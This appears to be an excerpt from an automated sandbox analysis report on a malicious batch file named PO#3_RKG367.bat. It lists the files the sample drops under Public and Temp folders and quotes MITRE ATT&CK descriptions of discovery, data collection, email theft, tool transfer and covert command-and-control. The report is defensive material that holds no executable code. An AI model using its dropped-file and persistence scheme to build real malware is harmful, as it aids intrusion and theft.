C:\Users\Public\Libraries\Oupzhkpr

C:\Users\Public\Libraries\Oupzhkpr.PIF

C:\Users\Public\Libraries\rpkhzpuO.pif

C:\Users\Public\Oupzhkpr.url

C:\Users\Public\OupzhkprF.cmd

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rpkhzpuO.pif.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Microsofts.exe

Windows Analysis Report
PO#3_RKG367.bat

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre